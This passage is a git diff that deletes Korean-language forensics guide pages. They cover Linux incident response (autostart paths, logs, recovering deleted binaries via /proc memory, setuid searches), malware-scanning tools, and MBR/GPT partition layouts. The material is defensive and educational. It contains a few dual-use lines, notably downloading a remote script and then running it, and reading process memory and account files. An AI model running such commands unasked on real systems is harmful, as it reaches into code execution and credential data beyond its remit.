"Package:|Status:" -cat /var/log/dpkg.log | grep installed -# RedHat RPM database query -rpm -qa --root=/mntpath/var/lib/rpm -# Listing directories for manual installations -ls /usr/sbin /usr/bin /bin /sbin -# Identifying non-package executables (Debian) -find /sbin/ -exec dpkg -S {} \; | grep "no path found" -# Identifying non-package executables (RedHat) -find /sbin/ –exec rpm -qf {} \; | grep "is not" -# Find exacuable files -find / -type f -executable | grep -``` -## 삭제된 실행 중인 바이너리 복구 - -/tmp/exec에서 실행된 후 삭제된 프로세스를 상상해 보십시오. 이를 추출하는 것이 가능합니다. -```bash -cd /proc/3746/ #PID with the exec file deleted -head -1 maps #Get address of the file. It was 08048000-08049000 -dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it -``` -## 자동 시작 위치 검사 - -### 예약된 작업 -```bash -cat /var/spool/cron/crontabs/* \ -/var/spool/cron/atjobs \ -/var/spool/anacron \ -/etc/cron* \ -/etc/at* \ -/etc/anacrontab \ -/etc/incron.d/* \ -/var/spool/incron/* \ - -#MacOS -ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ -``` -### 서비스 - -악성 코드가 서비스로 설치될 수 있는 경로: - -- **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 추가적인 시작 스크립트로 안내합니다. -- **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 구버전 리눅스에서 발견됩니다. -- **/etc/init.d/**: Debian과 같은 특정 리눅스 버전에서 시작 스크립트를 저장하는 데 사용됩니다. -- 서비스는 리눅스 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수 있습니다. -- **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리입니다. -- **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 실행 수준에서 시작해야 하는 서비스에 대한 링크를 포함합니다. -- **/usr/local/etc/rc.d/**: 사용자 정의 또는 타사 서비스용입니다. -- **\~/.config/autostart/**: 사용자 특정 자동 시작 애플리케이션을 위한 것으로, 사용자 타겟 악성 코드의 은신처가 될 수 있습니다. -- **/lib/systemd/system/**: 설치된 패키지에서 제공하는 시스템 전체 기본 유닛 파일입니다. - -### 커널 모듈 - -리눅스 커널 모듈은 종종 악성 코드에 의해 루트킷 구성 요소로 사용되며, 시스템 부팅 시 로드됩니다. 이러한 모듈에 중요한 디렉토리 및 파일은 다음과 같습니다: - -- **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보유합니다. -- **/etc/modprobe.d**: 모듈 로드를 제어하는 구성 파일을 포함합니다. -- **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일입니다. - -### 기타 자동 시작 위치 - -리눅스는 사용자 로그인 시 프로그램을 자동으로 실행하기 위해 다양한 파일을 사용하며, 이는 악성 코드를 숨길 수 있습니다: - -- **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인 시 실행됩니다. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 사용자 특정 파일로, 로그인 시 실행됩니다. -- **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환이 끝났음을 나타냅니다. - -## 로그 검사 - -리눅스 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성 코드 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다: - -- **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지 및 활동을 캡처합니다. -- **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인 기록. -- 관련 인증 이벤트를 필터링하려면 `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용합니다. -- **/var/log/boot.log**: 시스템 시작 메시지를 포함합니다. -- **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용합니다. -- **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장합니다. -- **/var/log/dmesg**: 장치 드라이버 메시지를 보유합니다. -- **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움을 줍니다. -- **/var/log/cron**: 크론 작업 실행을 기록합니다. -- **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적합니다. -- **/var/log/btmp**: 실패한 로그인 시도를 문서화합니다. -- **/var/log/httpd/**: Apache HTTPD 오류 및 접근 로그를 포함합니다. -- **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록합니다. -- **/var/log/xferlog**: FTP 파일 전송을 기록합니다. -- **/var/log/**: 여기에서 예상치 못한 로그를 항상 확인하십시오. - -> [!NOTE] -> 리눅스 시스템 로그 및 감사 하위 시스템은 침입 또는 악성 코드 사건에서 비활성화되거나 삭제될 수 있습니다. 리눅스 시스템의 로그는 악의적인 활동에 대한 가장 유용한 정보를 포함하고 있기 때문에, 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때는 삭제 또는 변조의 징후가 될 수 있는 간격이나 순서가 어긋난 항목을 찾는 것이 중요합니다. - -**리눅스는 각 사용자의 명령 기록을 유지합니다**, 저장 위치는 다음과 같습니다: - -- \~/.bash_history -- \~/.zsh_history -- \~/.zsh_sessions/\* -- \~/.python_history -- \~/.\*\_history - -또한, `last -Faiwx` 명령은 사용자 로그인 목록을 제공합니다. 알 수 없거나 예상치 못한 로그인을 확인하십시오. - -추가 권한을 부여할 수 있는 파일을 확인하십시오: - -- 예상치 못한 사용자 권한이 부여되었는지 확인하려면 `/etc/sudoers`를 검토하십시오. -- 예상치 못한 사용자 권한이 부여되었는지 확인하려면 `/etc/sudoers.d/`를 검토하십시오. -- 비정상적인 그룹 구성원 또는 권한을 식별하기 위해 `/etc/groups`를 검사하십시오. -- 비정상적인 그룹 구성원 또는 권한을 식별하기 위해 `/etc/passwd`를 검사하십시오. - -일부 앱은 자체 로그를 생성합니다: - -- **SSH**: 무단 원격 연결을 위해 _\~/.ssh/authorized_keys_ 및 _\~/.ssh/known_hosts_를 검사하십시오. -- **Gnome Desktop**: Gnome 애플리케이션을 통해 최근에 접근한 파일을 위해 _\~/.recently-used.xbel_를 확인하십시오. -- **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 기록 및 다운로드를 확인하십시오. -- **VIM**: 접근한 파일 경로 및 검색 기록과 같은 사용 세부정보를 위해 _\~/.viminfo_를 검토하십시오. -- **Open Office**: 손상된 파일을 나타낼 수 있는 최근 문서 접근을 확인하십시오. -- **FTP/SFTP**: 무단 파일 전송이 있을 수 있는 _\~/.ftp_history_ 또는 _\~/.sftp_history_의 로그를 검토하십시오. -- **MySQL**: 무단 데이터베이스 활동을 드러낼 수 있는 실행된 MySQL 쿼리를 위해 _\~/.mysql_history_를 조사하십시오. -- **Less**: 본 파일 및 실행된 명령을 포함한 사용 기록을 위해 _\~/.lesshst_를 분석하십시오. -- **Git**: 리포지토리에 대한 변경 사항을 위해 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검사하십시오. - -### USB 로그 - -[**usbrip**](https://github.com/snovvcrash/usbrip)는 리눅스 로그 파일(`/var/log/syslog*` 또는 `/var/log/messages*`, 배포판에 따라 다름)을 파싱하여 USB 이벤트 이력 테이블을 구성하는 순수 Python 3로 작성된 작은 소프트웨어입니다. - -모든 USB 사용 내역을 아는 것은 흥미롭고, "위반 사건"(목록에 없는 USB 사용)을 찾기 위해 승인된 USB 목록이 있다면 더욱 유용할 것입니다. - -### 설치 -```bash -pip3 install usbrip -usbrip ids download #Download USB ID database -``` -### 예시 -```bash -usbrip events history #Get USB history of your curent linux machine -usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user -#Search for vid and/or pid -usbrip ids download #Downlaod database -usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid -``` -더 많은 예제와 정보는 GitHub에서 확인하세요: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - -## 사용자 계정 및 로그인 활동 검토 - -_**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**에서 비정상적인 이름이나 계정을 확인하고, 알려진 무단 이벤트와 가까운 시기에 생성되거나 사용된 계정을 검토합니다. 또한 가능한 sudo 무차별 대입 공격을 확인합니다.\ -또한, _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일에서 사용자에게 부여된 예상치 못한 권한을 확인합니다.\ -마지막으로, **비밀번호가 없는** 계정이나 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보세요. - -## 파일 시스템 검사 - -### 악성 코드 조사에서 파일 시스템 구조 분석 - -악성 코드 사건을 조사할 때, 파일 시스템의 구조는 사건의 순서와 악성 코드의 내용을 드러내는 중요한 정보 출처입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 회피하는 등의 분석을 방해하는 기술을 개발하고 있습니다. - -이러한 반포렌식 방법에 대응하기 위해서는 다음이 필수적입니다: - -- **Autopsy**와 같은 도구를 사용하여 사건 타임라인을 시각화하거나 **Sleuth Kit의** `mactime`을 사용하여 상세한 타임라인 데이터를 통해 철저한 타임라인 분석을 수행합니다. -- 공격자가 사용할 수 있는 셸 또는 PHP 스크립트를 포함할 수 있는 시스템의 $PATH에서 **예상치 못한 스크립트**를 조사합니다. -- **/dev에서 비정상적인 파일**을 검사합니다. 전통적으로 특별한 파일을 포함하지만, 악성 코드 관련 파일이 있을 수 있습니다. -- **".. " (dot dot space)** 또는 **"..^G" (dot dot control-G)**와 같은 이름을 가진 숨겨진 파일이나 디렉토리를 검색하여 악성 콘텐츠를 숨길 수 있습니다. -- 공격자가 악용할 수 있는 권한이 상승된 파일을 찾기 위해 다음 명령어를 사용하여 **setuid root 파일**을 식별합니다: `find / -user root -perm -04000 -print` -- 루트킷이나 트로이 목마의 존재를 나타낼 수 있는 대량 파일 삭제를 감지하기 위해 inode 테이블에서 **삭제 타임스탬프**를 검토합니다. -- 하나의 악성 파일을 식별한 후, 인접한 악성 파일을 찾기 위해 **연속적인 inode**를 검사합니다. 이들은 함께 배치되었을 수 있습니다. -- 악성 코드에 의해 변경될 수 있는 최근 수정된 파일을 찾기 위해 일반 이진 디렉토리 (_/bin_, _/sbin_)를 확인합니다. -````bash -# List recent files in a directory: -ls -laR --sort=time /bin``` - -# Sort files in a directory by inode: -ls -lai /bin | sort -n``` -```` -> [!NOTE] -> 공격자가 **시간**을 **수정**하여 **파일이 합법적으로 보이게** 할 수 있지만, **inode**는 **수정할 수 없습니다**. 동일한 폴더의 나머지 파일과 **동일한 시간**에 생성 및 수정된 것으로 표시된 **파일**을 발견했지만 **inode**가 **예상보다 크면**, 해당 **파일의 타임스탬프가 수정된 것입니다**. - -## 서로 다른 파일 시스템 버전 비교 - -### 파일 시스템 버전 비교 요약 - -파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다: - -- **새 파일을 찾으려면**, 두 디렉토리를 비교합니다: -```bash -git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ -``` -- **수정된 내용**: 특정 줄을 무시하고 변경 사항을 나열합니다. -```bash -git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" -``` -- **삭제된 파일을 감지하기 위해**: -```bash -git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ -``` -- **필터 옵션** (`--diff-filter`)은 추가된 (`A`), 삭제된 (`D`), 또는 수정된 (`M`) 파일과 같은 특정 변경 사항으로 좁히는 데 도움을 줍니다. -- `A`: 추가된 파일 -- `C`: 복사된 파일 -- `D`: 삭제된 파일 -- `M`: 수정된 파일 -- `R`: 이름이 변경된 파일 -- `T`: 유형 변경 (예: 파일에서 심볼릭 링크로) -- `U`: 병합되지 않은 파일 -- `X`: 알 수 없는 파일 -- `B`: 손상된 파일 - -## 참고 문헌 - -- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) -- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) -- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **책: Linux 시스템을 위한 악성코드 포렌식 필드 가이드: 디지털 포렌식 필드 가이드** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md deleted file mode 100644 index b880a6f0f..000000000 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ /dev/null @@ -1,154 +0,0 @@ -# 맬웨어 분석 - -{{#include ../../banners/hacktricks-training.md}} - -## 포렌식 치트시트 - -[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) - -## 온라인 서비스 - -- [VirusTotal](https://www.virustotal.com/gui/home/upload) -- [HybridAnalysis](https://www.hybrid-analysis.com) -- [Koodous](https://koodous.com) -- [Intezer](https://analyze.intezer.com) -- [Any.Run](https://any.run/) - -## 오프라인 안티바이러스 및 탐지 도구 - -### Yara - -#### 설치 -```bash -sudo apt-get install -y yara -``` -#### 규칙 준비 - -이 스크립트를 사용하여 github에서 모든 yara 악성코드 규칙을 다운로드하고 병합하세요: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -_**rules**_ 디렉토리를 만들고 실행하세요. 그러면 악성코드에 대한 모든 yara 규칙이 포함된 _**malware_rules.yar**_라는 파일이 생성됩니다. -```bash -wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py -mkdir rules -python malware_yara_rules.py -``` -#### 스캔 -```bash -yara -w malware_rules.yar image #Scan 1 file -yara -w malware_rules.yar folder #Scan the whole folder -``` -#### YaraGen: 악성코드 확인 및 규칙 생성 - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) -```bash -python3 yarGen.py --update -python3.exe yarGen.py --excludegood -m ../../mals/ -``` -### ClamAV - -#### 설치 -``` -sudo apt-get install -y clamav -``` -#### 스캔 -```bash -sudo freshclam #Update rules -clamscan filepath #Scan 1 file -clamscan folderpath #Scan the whole folder -``` -### [Capa](https://github.com/mandiant/capa) - -**Capa**는 실행 파일에서 잠재적으로 악의적인 **기능**을 감지합니다: PE, ELF, .NET. 따라서 Att\&ck 전술이나 다음과 같은 의심스러운 기능을 찾습니다: - -- OutputDebugString 오류 확인 -- 서비스로 실행 -- 프로세스 생성 - -[**Github repo**](https://github.com/mandiant/capa)에서 다운로드하세요. - -### IOCs - -IOC는 침해 지표(Indicator Of Compromise)를 의미합니다. IOC는 잠재적으로 원치 않는 소프트웨어나 확인된 **악성코드**를 식별하는 **조건의 집합**입니다. 블루 팀은 이러한 정의를 사용하여 **시스템**과 **네트워크**에서 이러한 종류의 악성 파일을 **검색**합니다.\ -이러한 정의를 공유하는 것은 매우 유용합니다. 컴퓨터에서 악성코드가 식별되고 해당 악성코드에 대한 IOC가 생성되면, 다른 블루 팀이 이를 사용하여 악성코드를 더 빠르게 식별할 수 있습니다. - -IOC를 생성하거나 수정하는 도구는 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**입니다.**\ -[**Redline**](https://www.fireeye.com/services/freeware/redline.html)과 같은 도구를 사용하여 **장치에서 정의된 IOC를 검색**할 수 있습니다. - -### Loki - -[**Loki**](https://github.com/Neo23x0/Loki)는 간단한 침해 지표(Simple Indicators of Compromise)를 위한 스캐너입니다.\ -탐지는 네 가지 탐지 방법을 기반으로 합니다: -``` -1. File Name IOC -Regex match on full file path/name - -2. Yara Rule Check -Yara signature matches on file data and process memory - -3. Hash Check -Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files - -4. C2 Back Connect Check -Compares process connection endpoints with C2 IOCs (new since version v.10) -``` -### Linux Malware Detect - -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)는 공유 호스팅 환경에서 직면하는 위협을 중심으로 설계된 GNU GPLv2 라이센스 하에 출시된 리눅스용 악성코드 스캐너입니다. 이 도구는 네트워크 엣지 침입 탐지 시스템의 위협 데이터를 사용하여 공격에 적극적으로 사용되는 악성코드를 추출하고 탐지를 위한 서명을 생성합니다. 또한, 위협 데이터는 LMD 체크아웃 기능과 악성코드 커뮤니티 리소스에서 사용자 제출을 통해 파생됩니다. - -### rkhunter - -[**rkhunter**](http://rkhunter.sourceforge.net)와 같은 도구는 파일 시스템에서 가능한 **루트킷**과 악성코드를 확인하는 데 사용할 수 있습니다. -```bash -sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] -``` -### FLOSS - -[**FLOSS**](https://github.com/mandiant/flare-floss)는 다양한 기술을 사용하여 실행 파일 내에서 난독화된 문자열을 찾으려고 시도하는 도구입니다. - -### PEpper - -[PEpper](https://github.com/Th3Hurrican3/PEpper)는 실행 파일 내의 일부 기본 사항(이진 데이터, 엔트로피, URL 및 IP, 일부 yara 규칙)을 확인합니다. - -### PEstudio - -[PEstudio](https://www.winitor.com/download)는 Windows 실행 파일에 대한 정보(수입, 수출, 헤더 등)를 얻을 수 있는 도구이며, 또한 바이러스 토탈을 확인하고 잠재적인 Att\&ck 기술을 찾습니다. - -### Detect It Easy(DiE) - -[**DiE**](https://github.com/horsicq/Detect-It-Easy/)는 파일이 **암호화**되어 있는지 감지하고 **패커**를 찾는 도구입니다. - -### NeoPI - -[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)는 텍스트/스크립트 파일 내에서 **난독화** 및 **암호화**된 콘텐츠를 감지하기 위해 다양한 **통계적 방법**을 사용하는 Python 스크립트입니다. NeoPI의 의도된 목적은 **숨겨진 웹 셸 코드**의 **탐지**를 돕는 것입니다. - -### **php-malware-finder** - -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)는 **악성코드**/웹셸에서 자주 사용되는 **PHP** 함수를 사용하는 파일뿐만 아니라 **난독화**/**의심스러운 코드**를 감지하기 위해 최선을 다합니다. - -### Apple Binary Signatures - -일부 **악성코드 샘플**을 확인할 때는 항상 이진 파일의 **서명**을 확인해야 하며, 서명한 **개발자**가 이미 **악성코드**와 **관련**되어 있을 수 있습니다. -```bash -#Get signer -codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" - -#Check if the app’s contents have been modified -codesign --verify --verbose /Applications/Safari.app - -#Check if the signature is valid -spctl --assess --verbose /Applications/Safari.app -``` -## 탐지 기술 - -### 파일 스태킹 - -웹 서버의 **파일**이 포함된 폴더가 **마지막으로 업데이트된 날짜**를 알고 있다면, **웹 서버의 모든 파일**이 **생성 및 수정된 날짜**를 **확인**하고, **의심스러운** 날짜가 있다면 해당 파일을 확인하세요. - -### 기준선 - -폴더의 파일이 **수정되지 않아야 하는 경우**, 폴더의 **원본 파일**의 **해시**를 계산하고 **현재** 파일과 **비교**할 수 있습니다. 수정된 것은 **의심스러운** 것으로 간주됩니다. - -### 통계 분석 - -정보가 로그에 저장될 때, 각 웹 서버의 파일이 얼마나 자주 접근되었는지와 같은 **통계를 확인**할 수 있으며, 웹 셸이 가장 많이 접근된 것 중 하나일 수 있습니다. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md deleted file mode 100644 index 1d6ddb614..000000000 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# 메모리 덤프 분석 - -{{#include ../../../banners/hacktricks-training.md}} - -## 시작 - -**pcap** 내에서 **악성코드**를 **검색**하기 시작하세요. [**악성코드 분석**](../malware-analysis.md)에서 언급된 **도구**를 사용하세요. - -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) - -**Volatility는 메모리 덤프 분석을 위한 주요 오픈 소스 프레임워크입니다**. 이 Python 도구는 외부 소스 또는 VMware VM에서 덤프를 분석하여 덤프의 OS 프로파일에 따라 프로세스 및 비밀번호와 같은 데이터를 식별합니다. 플러그인으로 확장 가능하여 포렌식 조사에 매우 유용합니다. - -**[여기에서 치트 시트를 찾으세요](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** - -## 미니 덤프 크래시 보고서 - -덤프가 작을 경우(몇 KB 또는 몇 MB 정도) 이는 아마도 미니 덤프 크래시 보고서일 것이며 메모리 덤프가 아닙니다. - -![](<../../../images/image (216).png>) - -Visual Studio가 설치되어 있다면 이 파일을 열고 프로세스 이름, 아키텍처, 예외 정보 및 실행 중인 모듈과 같은 기본 정보를 바인딩할 수 있습니다: - -![](<../../../images/image (217).png>) - -예외를 로드하고 디컴파일된 명령어를 볼 수도 있습니다. - -![](<../../../images/image (219).png>) - -![](<../../../images/image (218) (1).png>) - -어쨌든, Visual Studio는 덤프의 깊이 있는 분석을 수행하기 위한 최상의 도구는 아닙니다. - -**IDA** 또는 **Radare**를 사용하여 **심층적으로** 검사해야 합니다. - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md deleted file mode 100644 index 396d83beb..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ /dev/null @@ -1,234 +0,0 @@ -# 파티션/파일 시스템/카빙 - -{{#include ../../../banners/hacktricks-training.md}} - -## 파티션 - -하드 드라이브 또는 **SSD 디스크는 데이터를 물리적으로 분리하기 위해 서로 다른 파티션을 포함할 수 있습니다.**\ -디스크의 **최소** 단위는 **섹터**(일반적으로 512B로 구성됨)입니다. 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다. - -### MBR (마스터 부트 레코드) - -부트 코드의 446B 이후 **디스크의 첫 번째 섹터에 할당됩니다.** 이 섹터는 PC에 파티션을 어디에서 어떻게 마운트해야 하는지를 나타내는 데 필수적입니다.\ -최대 **4개의 파티션**을 허용합니다(최대 **1개만 활성/부팅 가능**). 그러나 더 많은 파티션이 필요하면 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 **마지막 바이트**는 부트 레코드 서명 **0x55AA**입니다. 활성으로 표시할 수 있는 파티션은 하나뿐입니다.\ -MBR은 **최대 2.2TB**를 허용합니다. - -![](<../../../images/image (489).png>) - -![](<../../../images/image (490).png>) - -MBR의 **440에서 443 바이트**에서 **Windows 디스크 서명**을 찾을 수 있습니다(Windows가 사용되는 경우). 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows가 부팅되지 않을 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. - -![](<../../../images/image (493).png>) - -**형식** - -| 오프셋 | 길이 | 항목 | -| ----------- | -------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | 부트 코드 | -| 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 | -| 462 (0x1CE) | 16 (0x10) | 두 번째 파티션 | -| 478 (0x1DE) | 16 (0x10) | 세 번째 파티션 | -| 494 (0x1EE) | 16 (0x10) | 네 번째 파티션 | -| 510 (0x1FE) | 2 (0x2) | 서명 0x55 0xAA | - -**파티션 레코드 형식** - -| 오프셋 | 길이 | 항목 | -| --------- | ------ | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) | -| 1 (0x01) | 1 (0x01) | 시작 헤드 | -| 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) | -| 3 (0x03) | 1 (0x01) | 시작 실린더 최하위 8 비트 | -| 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | 종료 헤드 | -| 6 (0x06) | 1 (0x01) | 종료 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) | -| 7 (0x07) | 1 (0x01) | 종료 실린더 최하위 8 비트 | -| 8 (0x08) | 4 (0x04) | 파티션 이전의 섹터 (리틀 엔디안) | -| 12 (0x0C) | 4 (0x04) | 파티션 내의 섹터 | - -Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 가져와야 합니다( `fdisk` 및 `p` 명령을 사용할 수 있습니다) - -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -그런 다음 다음 코드를 사용하십시오. -```bash -#Mount MBR in Linux -mount -o ro,loop,offset= -#63x512 = 32256Bytes -mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ -``` -**LBA (논리 블록 주소 지정)** - -**논리 블록 주소 지정** (**LBA**)는 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 방식으로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에서 사용됩니다. LBA는 특히 간단한 선형 주소 지정 방식으로, **블록은 정수 인덱스로 위치가 지정되며**, 첫 번째 블록은 LBA 0, 두 번째는 LBA 1, 그리고 계속됩니다. - -### GPT (GUID 파티션 테이블) - -GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 선호됩니다. 파티션에 대한 **전 세계적으로 고유한 식별자**로 독특한 GPT는 여러 면에서 두드러집니다: - -- **위치 및 크기**: GPT와 MBR 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**로 작동하며, MBR은 32비트입니다. -- **파티션 한계**: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용할 수 있습니다. -- **파티션 이름**: 최대 36개의 유니코드 문자로 파티션 이름을 지정할 수 있는 기능을 제공합니다. - -**데이터 복원력 및 복구**: - -- **중복성**: MBR과 달리 GPT는 파티션 및 부트 데이터를 단일 위치에 제한하지 않습니다. 이 데이터는 디스크 전반에 복제되어 데이터 무결성과 복원력을 향상시킵니다. -- **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 손상이 감지되면 GPT는 다른 디스크 위치에서 손상된 데이터를 복구하려고 시도합니다. - -**보호 MBR (LBA0)**: - -- GPT는 보호 MBR을 통해 하위 호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 존재하지만, 이전 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크에서 데이터 무결성을 보호합니다. - -![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) - -**하이브리드 MBR (LBA 0 + GPT)** - -[위키백과에서](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -**EFI**가 아닌 **BIOS** 서비스를 통해 **GPT 기반 부팅**을 지원하는 운영 체제에서는 첫 번째 섹터가 **부트로더** 코드의 첫 번째 단계를 저장하는 데 여전히 사용될 수 있지만, **GPT** **파티션**을 인식하도록 **수정**됩니다. MBR의 부트로더는 512바이트의 섹터 크기를 가정해서는 안 됩니다. - -**파티션 테이블 헤더 (LBA 1)** - -[위키백과에서](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -파티션 테이블 헤더는 디스크에서 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (테이블의 오프셋 80 및 84). - -| 오프셋 | 길이 | 내용 | -| --------- | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 0 (0x00) | 8 바이트 | 서명 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)리틀 엔디안 머신에서) | -| 8 (0x08) | 4 바이트 | UEFI 2.8에 대한 수정 1.0 (00h 00h 01h 00h) | -| 12 (0x0C) | 4 바이트 | 리틀 엔디안의 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) | -| 16 (0x10) | 4 바이트 | 헤더의 [CRC32](https://en.wikipedia.org/wiki/CRC32) (오프셋 +0에서 헤더 크기까지) 리틀 엔디안, 이 필드는 계산 